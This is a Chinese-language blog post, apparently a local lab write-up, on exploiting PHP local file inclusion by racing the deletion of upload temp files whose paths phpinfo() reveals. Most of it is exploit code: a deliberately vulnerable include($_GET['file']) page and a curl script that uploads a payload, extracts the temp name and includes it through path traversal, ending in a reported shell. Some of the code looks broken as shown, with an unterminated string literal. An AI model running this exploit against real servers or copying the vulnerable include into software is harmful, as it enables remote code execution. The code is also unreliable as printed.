原理:以往LFI漏洞都是需要满足两个条件:1.攻击者上传一个含PHP代码的的文件,后缀名任意,没有后缀名也可以;2.需要知道上传后的文件路径及文件名,然后包含之。
后来有国外研究者发现了新的攻击方式,话说外国基佬的思路确实够猥琐。该思路的原理是:PHP在以enctype=multipart/form-data方式POST文件时,不论POST到哪个文件,PHP都会在临时目录中生成一个临时文件名,然后调用脚本处理该临时文件,最后删除这个临时文件。于是乎新的攻击思路成形了:可以POST到phpinfo.php文件,这样可以直接获得临时文件的路径和名称,然后在PHP删除临时文件之前包含这个临时文件即可。这里最麻烦的是如何在临时文件被删除之前包含它通常有这么几种考虑:1.上传大文件,这样PHP的处理就会变慢,经过实际测试,大概3M左右的时候就可以肉眼看到生成的临时文件了,虽然会很快被删除,但是这里确实能看到从生成到删除的全过程了。2.通过大量请求来延迟PHP脚本的处理速度。
测试文件如下:
phpinfo.php
1 <?php 2 phpinfo(); 3 ?>
curlpost.php(使用PHP CURL来模拟表单提交数据,模拟表单的代码参考了这里http://www.cnblogs.com/jackluo/p/4113255.html,在他的基础上做了修改)
1 <?php 2 function curl_post($url, $data, $header = array()){ 3 if(function_exists('curl_init')) { 4 $ch = curl_init(); 5 curl_setopt($ch, CURLOPT_URL, $url); 6 if(is_array($header) && !empty($header)){ 7 $set_head = array(); 8 foreach ($header as $k=>$v){ 9 $set_head[] = "$k:$v"; 10 } 11 curl_setopt($ch, CURLOPT_HTTPHEADER, $set_head); 12 } 13 curl_setopt($ch, CURLOPT_HEADER, 0); 14 curl_setopt($ch, CURLOPT_POST, 1); 15 curl_setopt($ch, CURLOPT_POSTFIELDS, $data); 16 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 17 curl_setopt($ch, CURLOPT_TIMEOUT, 1);// 1s to timeout. 18 $response = curl_exec($ch); 19 if(curl_errno($ch)){ 20 //error 21 return curl_error($ch); 22 } 23 $reslut = curl_getinfo($ch); 24 print_r($reslut); 25 curl_close($ch); 26 $info = array(); 27 if($response){ 28 $info = json_decode($response, true); 29 } 30 return $info; 31 } else { 32 throw new Exception('Do not support CURL function.'); 33 } 34 } 35 //*/ 36 // 37 function api_notice_increment($url, $data) 38 { 39 $ch = curl_init(); 40 curl_setopt($ch, CURLOPT_HEADER,0); 41 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 42 43 curl_setopt($ch, CURLOPT_URL, $url); 44 curl_setopt($ch, CURLOPT_POST, 1); 45 // $data = http_build_query($data); 46 curl_setopt($ch, CURLOPT_POSTFIELDS, $data); 47 //curl_file_create 48 // $result = curl_exec($ch); 49 $lst['rst'] = curl_exec($ch); 50 $lst['info'] = curl_getinfo($ch); 51 curl_close($ch); 52 53 return $lst; 54 // return $result; 55 } 56 57 /** 58 * curl文件上传 59 * @var struing $r_file 上传文件的路劲和文件名 60 * 61 */ 62 /* 63 function upload_file($url,$r_file) 64 { 65 $file = array("fax_file"=>'@'.$r_file,'type'=>'image/jpeg');//文件路径,前面要加@,表明是文件上传. 66 $curl = curl_init(); 67 curl_setopt($curl, CURLOPT_URL,$url); 68 curl_setopt($curl,CURLOPT_POST,1); 69 curl_setopt($curl,CURLOPT_POSTFIELDS,$file); 70 curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); 71 curl_setopt($curl, CURLOPT_HEADER, 0); 72 $result = curl_exec($curl); //$result 获取页面信息 73 curl_close($curl); 74 echo $result ; //输出 页面结果 75 }*/ 76 77 function upload_file($url,$filename,$path,$type){ 78 $data = array( 79 'pic'=>'@'.realpath($path).";type=".$type.";filename=".$filename 80 ); 81 $reg='/.*.tmp/'; 82 $arr=[]; 83 84 $ch = curl_init(); 85 curl_setopt($ch, CURLOPT_URL, $url); 86 curl_setopt($ch, CURLOPT_POST, true ); 87 curl_setopt($ch, CURLOPT_POSTFIELDS, $data); 88 curl_setopt($ch, CURLOPT_HEADER, false); 89 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 90 // curl_getinfo($ch); 91 $return_data = curl_exec($ch); 92 curl_close($ch); 93 preg_match($reg, $return_data,$arr); 94 //echo $arr[0]; 95 $arr2=explode("\",$arr[0]); 96 $ext=$arr2[count($arr2)-1]; 97 $lfi=curl_init(); 98 curl_setopt($lfi, CURLOPT_URL, "http://127.0.0.1:81/mycode/lfi.php?file=../../tmp/".$ext); 99 curl_exec($lfi); 100 curl_close($lfi); 101 echo "http://127.0.0.1:81/mycode/lfi.php?file=../../tmp/".$ext; 102 //echo $return_data; 103 } 104 105 106 107 108 if ($_POST) { 109 $url = 'http://127.0.0.1:81/mycode/phpinfo.php'; 110 // 111 $path = $_SERVER['DOCUMENT_ROOT']; 112 /* 113 print_r($_FILES); 114 exit; 115 */ 116 //$filename = $path."/232.jpg"; 117 //upload tmp 118 $tmpname = $_FILES['fname']['name']; 119 $tmpfile = $_FILES['fname']['tmp_name']; 120 $tmpType = $_FILES['fname']['type']; 121 // echo $tmpType; 122 upload_file($url,$tmpname,$tmpfile,$tmpType); 123 /* 124 $data = array( 125 'path'=>"@$path/232.jpg", 126 'name'=>'h' 127 ); 128 */ 129 //'pic'=>'@/tmp/tmp.jpg', 'filename'=>'tmp' 130 //$data = array('pic'=>"@$filename", 'filename'=>'tmp'); 131 /* 132 $data = array( 133 'uid' => 10086, 134 'pic' => '@$tmpfile'.';type='.$tmpType 135 ); 136 $info = api_notice_increment($url, $data); 137 */ 138 //$info = curl_post($url, $data); 139 //$info = api_notice_increment($url, $data); 140 //upload_file($url,$tmpfile); 141 //print_r($info); 142 exit; 143 /* 144 $file = 'H:www estpsuCARGLSPA-pola.jpg'; //要上传的文件 145 $src = upload_curl_pic($file); 146 echo $src; 147 */ 148 } 149 ?> 150 151 <form enctype="multipart/form-data" method="post"> 152 <p>UpLoad: <input type="text" name="fname" /></p> 153 <p>UpLoad: <input type="file" name="fname" /></p> 154 155 <input type="submit" value="Submit" /> 156 </form>
lfi.php
1 <?php 2 include($_GET['file']); 3 ?>
测试用的大文件post.txt,5M多一点,这个很容易生成就不贴代码了,截个图看下效果
最后执行的效果
最后可以看到shell已经生成了